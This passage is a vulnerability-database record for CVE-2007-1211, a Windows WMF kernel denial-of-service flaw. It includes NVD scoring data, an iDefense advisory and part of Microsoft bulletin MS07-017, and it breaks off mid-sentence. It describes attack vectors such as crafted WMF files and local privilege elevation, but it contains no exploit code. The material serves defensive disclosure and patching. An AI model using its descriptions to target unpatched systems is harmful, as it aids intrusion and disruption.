{"cve": [{"lastseen": "2020-10-03T11:45:50", "description": "Unspecified kernel GDI functions in Microsoft Windows 2000 SP4; XP SP2; and Server 2003 Gold, SP1, and SP2 allows user-assisted remote attackers to cause a denial of service (possibly persistent restart) via a crafted Windows Metafile (WMF) image that causes an invalid dereference of an offset in a kernel structure, a related issue to CVE-2005-4560.", "edition": 3, "cvss3": {}, "published": "2007-04-04T16:19:00", "title": "CVE-2007-1211", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.1, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2007-1211"], "modified": "2018-10-16T16:37:00", "cpe": ["cpe:/o:microsoft:windows_2003_server:sp2", "cpe:/o:microsoft:windows_2000:*", "cpe:/o:microsoft:windows_2003_server:gold", "cpe:/o:microsoft:windows_2003_server:sp1", "cpe:/o:microsoft:windows_xp:*"], "id": "CVE-2007-1211", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1211", "cvss": {"score": 7.1, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:o:microsoft:windows_2003_server:sp1:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp1:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:gold:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:gold:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_xp:*:sp2:professional_x64:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2000:*:sp4:*:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:itanium:*:*:*:*:*", "cpe:2.3:o:microsoft:windows_2003_server:sp2:*:*:*:*:*:*:*"]}], "securityvulns": [{"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211"], "description": "Microsoft Windows WMF Triggerable Kernel Design Error DoS Vulnerability\r\n\r\niDefense Security Advisory 04.03.07\r\nhttp://labs.idefense.com/intelligence/vulnerabilities/\r\nApr 03, 2007\r\n\r\nI. BACKGROUND\r\n\r\nThe Microsoft Windows kernel controls which processes are allowed to run\r\nand is responsible for accessing hardware such as storage devices and\r\nvideo adapters, scheduling time for each process to execute, managing\r\nmemory, and other system control tasks. For more information on on the\r\nWindows kernel visit MSDN at the URL shown below.\r\n\r\nhttp://msdn.microsoft.com/\r\n\r\nII. DESCRIPTION\r\n\r\nRemote exploitation of a design error in certain kernel GDI functions in\r\nmultiple versions of Microsoft Corp.'s Windows operating system may\r\nallow an attacker to cause a denial of service condition.\r\n\r\nDuring testing of the MS06-001 WMF (Windows Metafile) vulnerability, a\r\nflaw was found in the handling of WMF files. This flaw can cause the\r\nkernel to perform a bug check, also known as a "blue screen" or system\r\ncrash, when it tries to parse the file. The cause of this bug check is\r\nan attempt by a function in a kernel system call to read a value\r\nobtained by dereferencing an offset into a kernel structure. This value\r\nhad been previously created and then reset by previous system calls, and\r\nat the point it is accessed it does not contain a valid memory\r\nreference. This results in an access violation error, which in turn\r\ntriggers the bug check.\r\n\r\nThis vulnerability is different from both the Microsoft MS06-001 WMF\r\nvulnerability and the MS05-053 WMF vulnerability and is not fixed by\r\neither of these patches.\r\n\r\nIII. ANALYSIS\r\n\r\nExploitation of this vulnerability would allow a remote attacker to\r\nperform a denial of service against an affected system.\r\n\r\nDepending on where the file was saved and configuration details of the\r\ntarget, this could result in a persistent denial of service condition,\r\ncausing an immediate reboot upon logging on after an attack. The\r\nresults of testing this vulnerability suggest that in some cases it may\r\ncause corruption of the system in a manner that prevents the system from\r\nrebooting.\r\n\r\nIt is likely that Enhanced Windows Metafiles (EMF) are also affected,\r\nbut this has not yet been confirmed.\r\n\r\nCurrently, due to the type of location being referenced by the kernel,\r\nit appears that the vulnerability may only be exploitable by a remote\r\nattacker to cause a DoS condition. The vectors that could be used to\r\nremotely exploit this vulnerability would most likely be similar to\r\nthose that the MS06-001 vulnerability used.\r\n\r\nIV. DETECTION\r\n\r\nThis vulnerability has been confirmed to affect the following Microsoft\r\nWindows operating systems:\r\n\r\n * Windows XP with Service Pack 2\r\n * Windows 2003 Server\r\n\r\nOther Windows operating systems may also be affected.\r\n\r\nV. WORKAROUND\r\n\r\nBlocking .wmf files at all e-mail and Web gateways is strongly\r\nrecommended. However, this is not effective if blocking is done based\r\non file extensions (e.g., .wmf), as an attacker can simply rename the\r\nfile to a new extension.\r\n\r\nReading e-mail in plain-text can prevent automatic exploitation via\r\nelectronic mail.\r\n\r\nVI. VENDOR RESPONSE\r\n\r\nMicrosoft has addressed this vulnerability within MS07-017. For more\r\ninformation, consult their bulletin at the following URL.\r\n\r\nhttp://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx\r\n\r\nVII. CVE INFORMATION\r\n\r\nThe Common Vulnerabilities and Exposures (CVE) project has assigned the\r\nname CVE-2007-1211 to this issue. This is a candidate for inclusion in\r\nthe CVE list (http://cve.mitre.org/), which standardizes names for\r\nsecurity problems.\r\n\r\nVIII. DISCLOSURE TIMELINE\r\n\r\n01/10/2006 Initial vendor notification\r\n01/10/2006 Initial vendor response\r\n04/03/2007 Coordinated public disclosure\r\n\r\nIX. CREDIT\r\n\r\nThis vulnerability was discovered by Greg MacManus of iDefense Labs.\r\n\r\nGet paid for vulnerability research\r\nhttp://labs.idefense.com/methodology/vulnerability/vcp.php\r\n\r\nFree tools, research and upcoming events\r\nhttp://labs.idefense.com/\r\n\r\nX. LEGAL NOTICES\r\n\r\nCopyright \u00a9 2007 iDefense, Inc.\r\n\r\nPermission is granted for the redistribution of this alert\r\nelectronically. It may not be edited in any way without the express\r\nwritten consent of iDefense. If you wish to reprint the whole or any\r\npart of this alert in any other medium other than electronically,\r\nplease e-mail customerservice@idefense.com for permission.\r\n\r\nDisclaimer: The information in the advisory is believed to be accurate\r\nat the time of publishing based on currently available information. Use\r\nof the information constitutes acceptance for use in an AS IS condition.\r\n There are no warranties with regard to this information. Neither the\r\nauthor nor the publisher accepts any liability for any direct,\r\nindirect, or consequential loss or damage arising from use of, or\r\nreliance on, this information.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:DOC:16562", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:16562", "title": "iDefense Security Advisory 04.03.07: Microsoft Windows WMF Triggerable Kernel Design Error DoS Vulnerability", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:25", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211"], "description": "Uninitialized memory reference in system kernel.", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:VULN:7528", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7528", "title": "Microsoft Windows DoS with WMF files", "type": "securityvulns", "cvss": {"score": 7.1, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:09:25", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "description": "No description provided", "edition": 1, "modified": "2007-04-04T00:00:00", "published": "2007-04-04T00:00:00", "id": "SECURITYVULNS:VULN:7529", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:7529", "title": "Microsoft Windows multiple GDI vulnerabilities", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:21", "bulletinFamily": "software", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "description": "Microsoft Security Bulletin MS07-017\r\nVulnerabilities in GDI Could Allow Remote Code Execution (925902)\r\nPublished: April 3, 2007\r\n\r\nVersion: 1.0\r\nSummary\r\n\r\nWho Should Read this Document: Customers who use Microsoft Windows\r\n\r\nImpact of Vulnerability: Remote Code Execution\r\n\r\nMaximum Severity Rating: Critical\r\n\r\nRecommendation: Customers should apply the update immediately\r\n\r\nSecurity Update Replacement: This bulletin replaces a prior security update. See the Frequently Asked Questions (FAQ) section of this bulletin for details.\r\n\r\nCaveats: Microsoft Knowledge Base Article 925902 documents the currently known issues that customers may experience when they install this security update. The article also documents recommended solutions for these issues. For more information, see Microsoft Knowledge Base Article 925902\r\n\r\nTested Software and Security Update Download Locations:\r\n\r\nAffected Software:\r\n\u2022\t\r\n\r\nMicrosoft Windows 2000 Service Pack 4 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with SP1 for Itanium-based Systems, and Microsoft Windows Server 2003 with SP2 for Itanium-based Systems \u2014 Download the update\r\n\u2022\t\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2 \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista \u2014 Download the update\r\n\u2022\t\r\n\r\nWindows Vista x64 Edition \u2014 Download the update\r\n\r\nThe software in this list has been tested to determine whether the versions are affected. Other versions are either past their support life cycle or are not affected. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\nTop of sectionTop of section\r\nGeneral Information\r\n\t\r\nExecutive Summary\r\n\r\nExecutive Summary:\r\n\r\nThis update resolves several newly discovered, publicly disclosed and privately reported vulnerabilities as well as additional issues discovered through internal investigations. Each vulnerability is documented in its own subsection in the Vulnerability Details section of this bulletin.\r\n\r\nAn attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\r\n\r\nNote The Windows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038 is currently being exploited and was previously discussed by Microsoft Security Advisory 935423.\r\n\r\nSeverity Ratings and Vulnerability Identifiers:\r\nVulnerability Identifiers\tImpact of Vulnerability\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003, Windows Server 2003 Service Pack 1, and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWMF Denial of Service Vulnerability CVE-2007-1211\r\n\t\r\n\r\nDenial of Service\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nModerate\r\n\t\r\n\r\nNot Affected\r\n\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nGDI Invalid Window Size Elevation of Privilege Vulnerability CVE-2006-5586\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nWindows Animated Cursor Remote Code Execution Vulnerability - CVE-2007-0038\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nGDI Incorrect Parameter Local Elevation of Privilege Vulnerability - CVE-2007-1215\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nImportant\r\n\r\nFont Rasterizer Vulnerability - CVE-2007-1213\r\n\t\r\n\r\nElevation of Privilege\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\t\r\n\r\nNot Affected\r\n\r\nAggregate Severity of All Vulnerabilities\r\n\t\r\n\r\n \r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nCritical\r\n\r\nThis assessment is based on the types of systems that are affected by the vulnerability, their typical deployment patterns, and the effect that exploiting the vulnerability would have on them.\r\n\r\nNote The severity ratings for non-x86 operating system versions map to the x86 operating system versions as follows:\r\n\u2022\t\r\n\r\nThe Windows XP Professional x64 Edition and Windows XP Professional x64 Edition Service Pack 2 severity ratings are the same as the Windows XP Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP1 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 with SP2 for Itanium-based Systems severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition severity rating is the same as the Windows Server 2003 Service Pack 1 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Server 2003 x64 Edition Service Pack 2 severity rating is the same as the Windows Server 2003 Service Pack 2 severity rating.\r\n\u2022\t\r\n\r\nThe Windows Vista x64 Edition severity rating is the same as the Windows Vista severity rating.\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhy does this update address several reported security vulnerabilities? \r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers can install only this update.\r\n\r\nWhat updates does this release replace? \r\nThis security update replaces a prior security update. The security bulletin ID and affected operating systems are listed in the following table.\r\nBulletin ID\tWindows 2000 Service Pack 4\tWindows XP Service Pack 2\tWindows Server 2003\tWindows Server 2003 Service Pack 1 and Windows Server 2003 Service Pack 2\tWindows Vista\r\n\r\nMS06-001\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-053\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\r\nMS05-002\r\n\t\r\n\r\nNot Replaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nReplaced\r\n\t\r\n\r\nNot Applicable\r\n\t\r\n\r\nNot Applicable\r\n\r\nI am using an older version of the software discussed in this security bulletin; what should I do? \r\nThesupported software called out under in this bulletin has been tested to determine whether the versions are affected. Other versions are past their support life cycle. To determine the support life cycle for your product and version, visit the Microsoft Support Lifecycle Web site.\r\n\r\nIt should be a priority for customers who have older versions of the software to migrate to supported versions to prevent potential exposure to vulnerabilities. For more information about the Windows Product Lifecycle, visit the following Microsoft Support Lifecycle Web site. For more information about the extended security update support period for these operating system versions, visit the Microsoft Product Support Services Web site.\r\n\r\nCustomers who require custom support for older software must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Windows Operating System Product Support Lifecycle FAQ.\r\n\r\nCan I use the Microsoft Baseline Security Analyzer (MBSA) to determine whether this update is required?\r\nThe following table provides the MBSA detection summary for this security update.\r\nProduct\tMBSA 1.2.1\tMBSA 2.0.1\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 Service Pack 1 and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems with Service Pack 2 and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nWindows Vista\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nWindows Vista x64 Edition\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nSee Note for Windows Vista below\r\n\r\nFor more information about MBSA, visit the MBSA Web site. For more information about the software that Microsoft Update and MBSA 2.0 currently do not detect, see Microsoft Knowledge Base Article 895660.\r\n\r\nNote for Windows Vista MBSA 2.0.1 is not supported on Windows Vista but supports remote scans of computers running Windows Vista. For additional information about MBSA support for Windows Vista, visit the MBSA Web site. See also Microsoft Knowledge Base Article 931943: Microsoft Baseline Security Analyzer (MBSA) support for Windows Vista.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\n\r\nCan I use Systems Management Server (SMS) to determine whether this update is required?\r\nThe following table provides the SMS detection summary for this security update.\r\nProduct\tSMS 2.0\tSMS 2003\r\n\r\nMicrosoft Windows 2000 Service Pack 4\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows XP Professional x64 Edition and Microsoft Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003, Microsoft Windows Server 2003 Service Pack 1, and Microsoft Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nYes\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 for Itanium-based Systems, Microsoft Windows Server 2003 with Service Pack 1 for Itanium-based Systems, and Microsoft Windows Server 2003 with Service Pack 2 for Itanium-based Systems\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nMicrosoft Windows Server 2003 x64 Edition and Microsoft Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNo\r\n\t\r\n\r\nYes\r\n\r\nSMS 2.0 and SMS 2003 Software Update Services (SUS) Feature Pack can use MBSA 1.2.1 for detection and therefore have the same limitation that is listed earlier in this bulletin related to programs that MBSA 1.2.1 does not detect.\r\n\r\nFor more information about SMS, visit the SMS Web site.\r\n\r\nFor more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.\r\nTop of sectionTop of section\r\n\t\r\nVulnerability Details\r\n\t\r\nGDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nA privilege elevation vulnerability exists in the Graphics Rendering Engine in the way that it starts applications. This vulnerability could allow a logged on user to take complete control of the system.\r\n\t\r\nMitigating Factors for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\u2022\t\r\n\r\nAn attacker must be able to log on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for GDI Local Elevation of Privilege Vulnerability - CVE-2006-5758 :\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally to the system and run a program.\r\n\r\nWhat causes the vulnerability? \r\nThe vulnerability is caused by the incorrect handling of memory reserved for the Windows kernel by the Windows Graphics Rendering Engine when processing WMF and EMF file types.\r\n\r\nWhat might an attacker use the vulnerability to do? \r\nAn attacker who successfully exploited this vulnerability could take complete control of the affected system.\r\n\r\nHow could an attacker exploit the vulnerability? \r\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then try to execute a program that runs as a regular user that could exploit this vulnerability and take complete control over the affected system.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations are primarily at risk from this vulnerability. Servers could be at more risk if administrators allow users to log on to servers and to run programs. However, best practices strongly discourage allowing this.\r\n\r\nCould the vulnerability be exploited over the Internet? \r\nNo. An attacker must be able to log on to the specific system that is targeted for attack. An attacker cannot load and run a program remotely by using this vulnerability.\r\n\r\nWhat does the update do? \r\nThe update removes the vulnerability by modifying the way the handle is created.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed? \r\nYes. While the initial report was provided through responsible disclosure, the vulnerability was later disclosed publicly by the same security researcher. It has been assigned Common Vulnerability and Exposure number CVE-2006-5758. It also has been named GDI Kernel Local Elevation of Privilege Vulnerability by the larger security community. This security bulletin addresses the publicly disclosed vulnerability as well as additional issues discovered through internal investigations.\r\n\r\nWhen this security bulletin was issued, had Microsoft received any reports that this vulnerability was being exploited? \r\nNo. Microsoft had seen examples of proof of concept code published publicly but had not received any information to indicate that this vulnerability had been publicly used to attack customers when this security bulletin was originally issued.\r\n\r\nDoes applying this security update help protect customers from the code that has been published publicly that attempts to exploit this vulnerability? \r\nYes. This security update addresses the vulnerability that potentially could be exploited by using the published proof of concept code. The vulnerability that has been addressed has been assigned the Common Vulnerability and Exposure number CVE-2006-5758.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nWMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nA denial of service vulnerability exists in Windows when rendering Windows Metafile (WMF) image format files. An attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\t\r\nMitigating Factors for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\u2022\t\r\n\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's Web site. After they click the link, they would be prompted to perform several actions. An attack could only occur after they performed these actions.\r\n\u2022\t\r\n\r\nThe vulnerability could be exploited by an attacker who convinced a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an e-mail message.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nMicrosoft has tested the following workarounds. While these workarounds will not correct the underlying vulnerability, they help block known attack vectors. When a workaround reduces functionality, it is identified in the following section.\r\n\u2022\t\r\n\r\nRead e-mail messages in plain text format if you are using Outlook 2002 Service Pack 3 or a later version, or Outlook Express 6 SP1 or a later version, to help protect yourself from the HTML e-mail attack vector.\r\n\r\nCustomers using Microsoft Outlook 2002 Service Pack 3 and Microsoft Outlook Express 6 Service Pack 1 or later versions can enable this setting and view e-mail messages that are not digitally signed or e-mail messages that are not encrypted in plain text only.\r\n\r\nDigitally signed e-mail messages or encrypted e-mail messages are not affected by the setting and may be read in their original formats. For more information about how to enable this setting in Outlook 2002, see Microsoft Knowledge Base Article 307594.\r\n\r\nFor more information about how to enable this setting in Outlook Express 6, see Microsoft Knowledge Base Article 291387.\r\n\r\nImpact of Workaround: E-mail messages that are viewed in plain text format will not contain pictures, specialized fonts, animations, or other rich content. Additionally:\r\n\u2022\t\r\n\r\nThe changes are applied to the preview pane and to open messages.\r\n\u2022\t\r\n\r\nPictures become attachments so that they are not lost.\r\n\u2022\t\r\n\r\nBecause the message is still in Rich Text or HTML format in the store, the object model (custom code solutions) may behave unexpectedly.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for WMF Denial of Service Vulnerability - CVE-2007-1211:\r\n\r\nWhat is the scope of the vulnerability?\r\nThis is a denial of service vulnerability. An attacker who exploited this vulnerability could cause the affectedsystem to stop responding and automatically restart. Note that the denial of service vulnerability would not allow attackers to execute code or elevate their privileges, but it could cause the affected program to stop accepting requests.\r\n\r\nWhat causes the vulnerability?\r\nThe vulnerability is caused by an attempt to read a data value that contains an invalid memory reference.\r\n\r\nWhat is the Windows Metafile (WMF) image formats?\r\nThe WMF image format is a 16-bit metafile format that can contain both vector information and bitmap information. It is optimized for the Windows operating system.\r\n\r\nFor more information about image types and formats, see Microsoft Knowledge Base Article 320314. Additional information about these file formats is also available at the MSDN Library Web Site.\r\n\r\nWhat might an attacker use the vulnerability to do?\r\nAn attacker who successfully exploited this vulnerability could cause the affected system to stop responding and possibly restart.\r\n\r\nWho could exploit the vulnerability?\r\nIn a Web-based attack scenario, an attacker would have to host a Web site that contains a Web page that is used to attempt to exploit this vulnerability. An attacker would have no way to force users to visit a specially crafted Web site. Instead, an attacker would have to convince them to visit the Web site, typically by getting them to click a link that takes them to the attacker's site. It could also be possible to display specially crafted Web content by using banner advertisements or by using other methods to deliver Web content to affected systems.\r\n\r\nHow could an attacker exploit this vulnerability?\r\nThe vulnerability could be exploited on the affected systems by an attacker who persuaded a user to open a specially crafted file or to view a folder that contains the specially crafted image. There is no way for an attacker to force a user to open a specially crafted file, except potentially through previewing an email message.\r\n\r\nWhat systems are primarily at risk from the vulnerability? \r\nWorkstations and terminal servers are primarily at risk. Servers could be at more risk if users who do not have sufficient administrative permissions are given the ability to log on to servers and run programs or browse the Internet. However, best practices strongly discourage allowing this.\r\n\r\nI am running Internet Explorer on Windows Server 2003. Does this mitigate this vulnerability?\r\nYes. By default, Internet Explorer on Windows Server 2003 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that have not been added to Internet Explorer Trusted sites zone.\r\n\r\nWhat is the Internet Explorer Enhanced Security Configuration?\r\nInternet Explorer Enhanced Security Configuration is a group of preconfigured Internet Explorer settings that reduce the likelihood of a user or of an administrator downloading and running specially crafted Web content on a server. Internet Explorer Enhanced Security Configuration reduces this risk by modifying many security-related settings. This includes the settings on the Security tab and the Advanced tab in the Internet Options dialog box. Some of the important modifications include the following:\r\n\u2022\t\r\n\r\nSecurity level for the Internet zone is set to High. This setting disables scripts, ActiveX controls, Microsoft Java Virtual Machine (MSJVM), and file downloads.\r\n\u2022\t\r\n\r\nAutomatic detection of intranet sites is disabled. This setting assigns all intranet Web sites and all Universal Naming Convention (UNC) paths that are not explicitly listed in the Local intranet zone to the Internet zone.\r\n\u2022\t\r\n\r\nInstall On Demand and non-Microsoft browser extensions are disabled. This setting prevents Web pages from automatically installing components and prevents non-Microsoft extensions from running.\r\n\u2022\t\r\n\r\nMultimedia content is disabled. This setting prevents music, animations, and video clips from running.\r\n\r\nFor more information regarding Internet Explorer Enhanced Security Configuration, see the guide, Managing Internet Explorer Enhanced Security Configuration, at the following Web site.\r\n\r\nWhat does the update do?\r\nThe update removes the vulnerability by modifying the way that the affected operating system checks message inputs under certain circumstances.\r\n\r\nWhen this security bulletin was issued, had this vulnerability been publicly disclosed?\r\nNo. Microsoft received information about this vulnerability through responsible disclosure.\r\nTop of sectionTop of section\r\nTop of sectionTop of section\r\n\t\r\nEMF Elevation of Privilege Vulnerability CVE-2007-1212:\r\n\r\nAn elevation of privilege vulnerability exists in the rendering of Enhanced Metafile (EMF) image format files. Any program that renders EMF images on the affected systems could be vulnerable to this attack. An attacker who successfully exploited this vulnerability could take complete control of an affected system.\r\n\t\r\nMitigating Factors for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any mitigations for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWe have not identified any workarounds for this vulnerability.\r\nTop of sectionTop of section\r\n\t\r\nFAQ for EMF Elevation of Privilege Vulnerability - CVE-2007-1212:\r\n\r\nWhat is the scope of the vulnerability? \r\nThis is a privilege elevation vulnerability. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To attempt to exploit the vulnerability, an attacker must be able to log on locally 